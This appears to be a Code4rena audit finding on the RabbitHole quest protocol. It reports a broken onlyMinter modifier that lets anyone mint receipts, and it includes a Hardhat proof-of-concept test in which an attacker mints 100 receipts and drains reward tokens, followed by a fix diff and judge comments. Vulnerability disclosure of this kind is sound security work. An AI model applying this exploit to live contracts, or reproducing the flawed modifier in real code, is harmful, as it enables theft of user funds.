Incorrect access control allows the user to inflate rewards and drain funds.

[code423n4]

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L58-L61
https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleTickets.sol#L47-L50

Vulnerability details

Incorrect access control allows the user to inflate rewards and drain funds.

- quest-protocol/contracts/RabbitHoleReceipt.sol:58-61

- quest-protocol/contracts/RabbitHoleTickets.sol:47-50

Description:

Invalid modifier allow everyone to call mint function on RabbitHoleReceipt contract.

modifier onlyMinter() {
    msg.sender == minterAddress;
    _;
}

In QuestFactory.sol:215 specified that "/// @dev mint a RabbitHole Receipt. Note: this contract must be set as Minter on the receipt contract".
The protocol assumes that only the QuestFactory should be able to call the mint function on the RabbitHoleReceipt contract. But due to a bug in the modifier, everyone can call the 'mint' function. The maximum number of participants is also checked by QuestFactory, as a result an attacker can steal all the money from the contract, including the fee.

Note:

• quest-protocol/contracts/RabbitHoleTickets.sol:47-50 has the same problem, but it seems that this particular contract is not currently used by the protocol.

PoC: Set up from Erc20Quest.spec.ts, actual PoC starts from line 125

1      import { expect } from 'chai'
2      import { ethers, upgrades } from 'hardhat'
3      import { SignerWithAddress } from '@nomiclabs/hardhat-ethers/signers'
4      import { Wallet, utils } from 'ethers'
5      import {
6        Erc20Quest__factory,
7        RabbitHoleReceipt__factory,
8        SampleERC20__factory,
9        Erc20Quest,
10       SampleERC20,
11       RabbitHoleReceipt,
12       QuestFactory,
13       QuestFactory__factory,
14     } from '../typechain-types'
15     
16     describe('Audit', async () => {
17       let deployedQuestContract: Erc20Quest
18       let deployedSampleErc20Contract: SampleERC20
19       let deployedRabbitholeReceiptContract: RabbitHoleReceipt
20       let expiryDate: number, startDate: number
21       const mockAddress = '0x0000000000000000000000000000000000000000'
22       const mnemonic = 'announce room limb pattern dry unit scale effort smooth jazz weasel alcohol'
23       const questId = 'asdf'
24       const totalParticipants = 300
25       const rewardAmount = 1000
26       const questFee = 2000 // 20%
27       const totalRewardsPlusFee = totalParticipants * rewardAmount + (totalParticipants * rewardAmount * questFee) / 10_000
28       let owner: SignerWithAddress
29       let firstAddress: SignerWithAddress
30       let attacker: SignerWithAddress
31       let secondAddress: SignerWithAddress
32       let thirdAddress: SignerWithAddress
33       let fourthAddress: SignerWithAddress
34       let questContract: Erc20Quest__factory
35       let sampleERC20Contract: SampleERC20__factory
36       let rabbitholeReceiptContract: RabbitHoleReceipt__factory
37       const protocolFeeAddress = '0xE8B17e572c1Eea45fCE267F30aE38862CF03BC84'
38       let deployedFactoryContract: QuestFactory
39       let questFactoryContract: QuestFactory__factory
40       let wallet: Wallet
41       let messageHash: string
42       let signature: string
43     
44       beforeEach(async () => {
45         const [local_owner, local_firstAddress, local_secondAddress, local_thirdAddress, local_fourthAddress, local_attacker] =
46           await ethers.getSigners()
47         questContract = await ethers.getContractFactory('Erc20Quest')
48         sampleERC20Contract = await ethers.getContractFactory('SampleERC20')
49         rabbitholeReceiptContract = await ethers.getContractFactory('RabbitHoleReceipt')
50         questFactoryContract = await ethers.getContractFactory('QuestFactory')
51         wallet = Wallet.fromMnemonic(mnemonic)
52     
53         owner = local_owner
54         firstAddress = local_firstAddress
55         secondAddress = local_secondAddress
56         thirdAddress = local_thirdAddress
57         fourthAddress = local_fourthAddress
58         attacker = local_attacker
59     
60         expiryDate = Math.floor(Date.now() / 1000) + 100000
61         startDate = Math.floor(Date.now() / 1000) + 1000
62         await deployRabbitholeReceiptContract()
63         await deploySampleErc20Contract()
64         await deployFactoryContract()
65     
66         messageHash = utils.solidityKeccak256(['address', 'string'], [firstAddress.address.toLowerCase(), questId])
67         signature = await wallet.signMessage(utils.arrayify(messageHash))
68         await deployedFactoryContract.setRewardAllowlistAddress(deployedSampleErc20Contract.address, true)
69         const createQuestTx = await deployedFactoryContract.createQuest(
70           deployedSampleErc20Contract.address,
71           expiryDate,
72           startDate,
73           totalParticipants,
74           rewardAmount,
75           'erc20',
76           questId
77         )
78     
79         const waitedTx = await createQuestTx.wait()
80     
81         const event = waitedTx?.events?.find((event) => event.event === 'QuestCreated')
82         const [_from, contractAddress, type] = event?.args
83     
84         deployedQuestContract = await questContract.attach(contractAddress)
85         await transferRewardsToDistributor()
86       })
87     
88       const deployFactoryContract = async () => {
89         deployedFactoryContract = (await upgrades.deployProxy(questFactoryContract, [
90           wallet.address,
91           deployedRabbitholeReceiptContract.address,
92           protocolFeeAddress,
93         ])) as QuestFactory
94       }
95     
96       const deployRabbitholeReceiptContract = async () => {
97         const ReceiptRenderer = await ethers.getContractFactory('ReceiptRenderer')
98         const deployedReceiptRenderer = await ReceiptRenderer.deploy()
99         await deployedReceiptRenderer.deployed()
100    
101        deployedRabbitholeReceiptContract = (await upgrades.deployProxy(rabbitholeReceiptContract, [
102          deployedReceiptRenderer.address,
103          owner.address,
104          owner.address,
105          10,
106        ])) as RabbitHoleReceipt
107      }
108    
109      const deploySampleErc20Contract = async () => {
110        deployedSampleErc20Contract = await sampleERC20Contract.deploy(
111          'RewardToken',
112          'RTC',
113          totalRewardsPlusFee * 100,
114          owner.address
115        )
116        await deployedSampleErc20Contract.deployed()
117      }
118    
119      const transferRewardsToDistributor = async () => {
120        const distributorContractAddress = deployedQuestContract.address
121        await deployedSampleErc20Contract.functions.transfer(distributorContractAddress, totalRewardsPlusFee * 100)
122      }
123    
124      it('Exploit: Allow user to inflate his rewards', async () => {
125        const pool = await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address);
126        console.log("Pool: %s", pool);
127        const rewamnt = await deployedQuestContract.getRewardAmount();
128        console.log("reward Amount: %s", rewamnt);
129        console.log("reward Token: %s", await deployedQuestContract.getRewardToken());
130        const tokens = pool.div(rewamnt).toNumber();
131    
132    
133        console.log("Minter address: %s", await deployedRabbitholeReceiptContract.minterAddress());
134        console.log("Attacker address: %s", attacker.address);
135        for (let index = 0; index < 100; index++) {
136            await deployedRabbitholeReceiptContract.connect(attacker).mint(attacker.address, questId);
137        }
138    
139        await deployedQuestContract.start()
140        await ethers.provider.send('evm_increaseTime', [86400])
141    
142        expect(await deployedSampleErc20Contract.balanceOf(attacker.address)).to.equal(0)
143    
144        const totalTokens = await deployedRabbitholeReceiptContract.getOwnedTokenIdsOfQuest(questId, attacker.address)
145        expect(totalTokens.length).to.equal(100)
146    
147        await deployedQuestContract.connect(attacker).claim()
148    
149        const balanceAfter = await deployedSampleErc20Contract.balanceOf(attacker.address);
150        expect(balanceAfter).to.equal(rewardAmount * 100)
151        console.log("funds stolen: %s", balanceAfter);
152        const pool_after = await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address);
153        console.log("Pool after: %s", pool_after);
154        
155      })
156    
157    })

Fix:

diff --git a/contracts/RabbitHoleReceipt.sol b/contracts/RabbitHoleReceipt.sol
index 085b617..5d61bac 100644
--- a/contracts/RabbitHoleReceipt.sol
+++ b/contracts/RabbitHoleReceipt.sol
@@ -23,6 +23,8 @@ contract RabbitHoleReceipt is
   23,  23:     event RoyaltyFeeSet(uint256 indexed royaltyFee);
   24,  24:     event MinterAddressSet(address indexed minterAddress);
   25,  25: 
+       26:+    error NotMinter();
+       27:+
   26,  28:     using CountersUpgradeable for CountersUpgradeable.Counter;
   27,  29:     CountersUpgradeable.Counter private _tokenIds;
   28,  30: 
@@ -56,7 +58,7 @@ contract RabbitHoleReceipt is
   56,  58:     }
   57,  59: 
   58,  60:     modifier onlyMinter() {
-  59     :-        msg.sender == minterAddress;
+       61:+        if (msg.sender != minterAddress) revert NotMinter();
   60,  62:         _;
   61,  63:     }
   62,  64: 

[c4-judge]

kirk-baird marked the issue as duplicate of #9

[c4-judge]

kirk-baird marked the issue as satisfactory